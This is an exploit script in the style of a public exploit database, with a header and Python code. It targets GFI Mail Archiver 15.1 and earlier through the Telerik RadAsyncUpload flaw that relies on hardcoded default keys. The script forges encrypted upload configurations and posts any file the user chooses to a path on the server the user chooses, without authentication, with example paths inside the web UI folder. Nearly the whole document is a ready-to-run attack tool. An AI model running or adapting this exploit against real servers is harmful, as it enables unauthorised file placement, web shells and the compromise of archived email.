1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 |
# Exploit Title: GFI Mail Archiver 15.1 - Telerik UI Component Arbitrary File Upload (Unauthenticated) # Date: 21/03/2021 # Exploit Author: Amin Bohio # Original Research & Code By: Paul Taylor / Foregenix Ltd # Original Exploit: https://github.com/bao7uo/RAU_crypto # Vendor Homepage: https://www.gfi.com # Software Link: https://www.gfi.com/products-and-solutions/network-security-solutions/gfi-archiver # Vulnerable Versions: GFI Mail Archiver <= 15.1 # Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload # Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference # Tested on: Windows & Linux # Usage: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p pathonwebserver #!/usr/bin/python3 # Original Telerik Exploit Author: Paul Taylor / @bao7uo # https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py # Modified by: Amin Bohio import sys import base64 import json import re import requests import os from Crypto.Cipher import AES from Crypto.Hash import HMAC from Crypto.Hash import SHA256 from Crypto.Hash import SHA1 from struct import Struct from operator import xor from itertools import starmap import binascii from requests.packages.urllib3.exceptions import InsecureRequestWarning # ****************************************** # ****************************************** # ADVANCED_SETTINGS section 1 of 2 # Warning, the below prevents certificate warnings, # and verify = False (CERT_VERIFY prevents them being verified requests.packages.urllib3.disable_warnings(InsecureRequestWarning) CERT_VERIFY = False # ****************************************** # ****************************************** class PBKDF: def sha1(v): hl = SHA1.new() hl.update(v) return hl.digest() def derive1(password, salt): hash = (password + salt).encode() for i in range(0, 99): hash = PBKDF.sha1(hash) result = PBKDF.sha1(hash) i = 1 while len(result) < 48: result += PBKDF.sha1(str(i).encode() + hash) i += 1 return result def hmacsha1(v): hl = PBKDF.mac.copy() hl.update(v) return bytearray(hl.digest()) def derive2(password, salt): # Credit: @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2/blob/master/pbkdf2.py result_length = 48 PBKDF.mac = HMAC.new(bytes(password.encode()), None, SHA1.new()) result = [] for b in range(1, -(-result_length // PBKDF.mac.digest_size) + 1): rv = u = PBKDF.hmacsha1(salt.encode() + Struct('>i').pack(b)) for i in range(999): u = PBKDF.hmacsha1(u) rv = starmap(xor, zip(rv, u)) result.extend(rv) result = b''.join(map(bytes, [result]))[:result_length] return result def derive(type, password,salt = ''.join(chr(i) for i in [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1])): if type == 1: result = PBKDF.derive1(password, salt) result = result[0:32] + result[8:16] + result[40:48] # Bizarre hack elif type == 2: result = PBKDF.derive2(password, salt) return result[0:32], result[32:] class RAUCipher: # ****************************************** # ****************************************** # ADVANCED_SETTINGS section 2 of 2 # Default settings are for vulnerable versions before 2017 patches with default keys T_Upload_ConfigurationHashKey = \ "PrivateKeyForHashOfUploadConfiguration" # Default hardcoded key for versions before 2017 patches HASHKEY = T_Upload_ConfigurationHashKey # or your custom hashkey T_AsyncUpload_ConfigurationEncryptionKey = \ "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration" # Default hardcoded key for versions before 2017 patches PASSWORD = T_AsyncUpload_ConfigurationEncryptionKey # or your custom password # Latest tested version working with this setting: 2018.1.117 # Probably working up to and including 2018.3.910 PBKDF_ALGORITHM = 1 # Earliest tested version working with this setting: 2019.2.514 # Probably introduced 2019.1.115 #PBKDF_ALGORITHM = 2 # ****************************************** # ****************************************** key, iv = PBKDF.derive(PBKDF_ALGORITHM, PASSWORD) #print(binascii.hexlify(key).decode().upper()) #print(binascii.hexlify(iv).decode().upper()) def encrypt(plaintext): sys.stderr.write("Encrypting... ") encoded = "" for i in plaintext: encoded = encoded + i + "\x00" plaintext = encoded + ( chr(16 - (len(encoded) % 16)) * (16 - (len(encoded) % 16)) ) cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv) sys.stderr.write("done\n") return base64.b64encode(cipher.encrypt(plaintext.encode())).decode() def decrypt(ciphertext): sys.stderr.write("Decrypting... ") ciphertext = base64.b64decode(ciphertext) cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv) unpad = lambda s: s[0:-ord(chr(s[-1]))] sys.stderr.write("done\n") return unpad(cipher.decrypt(ciphertext)).decode()[0::2] def addHmac(string, Version): isHmacVersion = False # "Encrypt-then-MAC" feature introduced in R1 2017 # Required for >= "2017.1.118" (e.g. "2017.1.118", "2017.1.228", "2017.2.503" etc.) if int(Version[:4]) >= 2017: isHmacVersion = True hmac = HMAC.new( bytes(RAUCipher.HASHKEY.encode()), string.encode(), SHA256.new() ) hmac = base64.b64encode(hmac.digest()).decode() return string + hmac if isHmacVersion else string def getProxy(proxy): return { "http" : proxy, "https" : proxy } def rauPostData_enc(partA, partB): data = "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n" data += "\r\n" data += RAUCipher.encrypt(partA) + "&" + RAUCipher.encrypt(partB) + "\r\n" returndata def rauPostData_prep(TempTargetFolder, Version): TargetFolder = RAUCipher.addHmac( RAUCipher.encrypt(""), Version ) TempTargetFolder = RAUCipher.addHmac( RAUCipher.encrypt(TempTargetFolder), Version ) partA = \ '{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \ TempTargetFolder + \ '","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}' partB = \ "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \ Version + ", Culture=neutral, PublicKeyToken=121fae78165ba3d4" return rauPostData_enc(partA, partB) def payload(TempTargetFolder, Version, payload_filename): sys.stderr.write("Local file path: " + payload_filename + "\n") payload_filebasename = os.path.basename(payload_filename) sys.stderr.write("Destination file name: " + payload_filebasename + "\n") sys.stderr.write("Destination path: " + TempTargetFolder + "\n") sys.stderr.write("Version: " + Version + "\n") sys.stderr.write("Preparing payload... \n") payload_file = open(payload_filename, "rb") payload_file_data = payload_file.read() payload_file.close() data = rauPostData_prep(TempTargetFolder, Version) data += "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n" data += "Content-Type: application/octet-stream\r\n" data += "\r\n" data += payload_file_data.decode("raw_unicode_escape") + "\r\n" data += "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"fileName\"\r\n" data += "\r\n" data += "RAU_crypto.bypass\r\n" data += "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"contentType\"\r\n" data += "\r\n" data += "text/html\r\n" data += "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n" data += "\r\n" data += "2019-01-02T03:04:05.067Z\r\n" data += "-----------------------------62616f37756f2f\r\n" data += "Content-Disposition: form-data; name=\"metadata\"\r\n" data += "\r\n" data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \ payload_filebasename + "\"}\r\n" data += "-----------------------------62616f37756f2f--\r\n" data += "\r\n" sys.stderr.write("Payload prep done\n") return data def upload(data, url, proxy = False): global CERT_VERIFY sys.stderr.write("Preparing to send request to " + url + "\n") session = requests.Session() request = requests.Request( "POST", url, data=data ) request = request.prepare() request.headers["Content-Type"] = \ "multipart/form-data; " +\ "boundary=---------------------------62616f37756f2f" response = session.send(request, verify=CERT_VERIFY, proxies = getProxy(proxy)) sys.stderr.write("Request done\n") return response.text def decode_rauPostData(rauPostData): rauPostData = rauPostData.split("&") rauJSON = RAUCipher.decrypt(rauPostData[0]) decoded = "\nJSON: " + rauJSON + "\n" TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"] decoded = decoded + "\nTempTargetFolder = " + \ RAUCipher.decrypt(TempTargetFolder) + "\n" rauVersion = RAUCipher.decrypt(rauPostData[1]) decoded = decoded + "\nVersion: " + rauVersion + "\n" return decoded def mode_decrypt(): # decrypt ciphertext ciphertext = sys.argv[2] print("\n" + RAUCipher.decrypt(ciphertext) + "\n") def mode_Decrypt_rauPostData(): # decrypt rauPostData rauPostData = sys.argv[2] print(decode_rauPostData(rauPostData)) def mode_encrypt(): # encrypt plaintext plaintext = sys.argv[2] print("\n" + RAUCipher.encrypt(plaintext) + "\n") def mode_Encrypt_rauPostData(): # encrypt rauPostData based on TempTargetFolder and Version TempTargetFolder = sys.argv[2] Version = sys.argv[3] print( "rauPostData: " + rauPostData_prep(TempTargetFolder, Version) + "\n" ) def mode_payload(): # generate a payload based on TempTargetFolder, Version and payload file TempTargetFolder = sys.argv[2] Version = "2013.1.417.40" payload_filename = sys.argv[4] print("Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f") print(payload(TempTargetFolder, Version, payload_filename)) def mode_Post(proxy = False): # generate and upload a payload based on # TempTargetFolder, Version, payload file and url Version = "2013.1.417.40" url = sys.argv[2] + "/Telerik.Web.UI.WebResource.axd?type=rau" payload_filename = sys.argv[4] TempTargetFolder = sys.argv[6] print(upload(payload(TempTargetFolder, Version, payload_filename), url, proxy)) print("\n[+] Check your uploaded file\n"); def mode_help(): print( "Usage: \nExample1: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Program Files\\GFI\\Archiver\\ASPNET\\UI\\Images\\' \nExample2: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Windows\\Temp'") sys.stderr.write("\n[+] Original Research by Paul Taylor / @bao7uo \n[+] Modified by Amin Bohio\n") sys.stderr.write("[+] GFI Mail Archiver <= 15.1 - Telerik Arbitrary File Upload\n\n") if len(sys.argv) < 2: mode_help() elif sys.argv[1] == "-u" and len(sys.argv) == 7: mode_Post() else: mode_help() |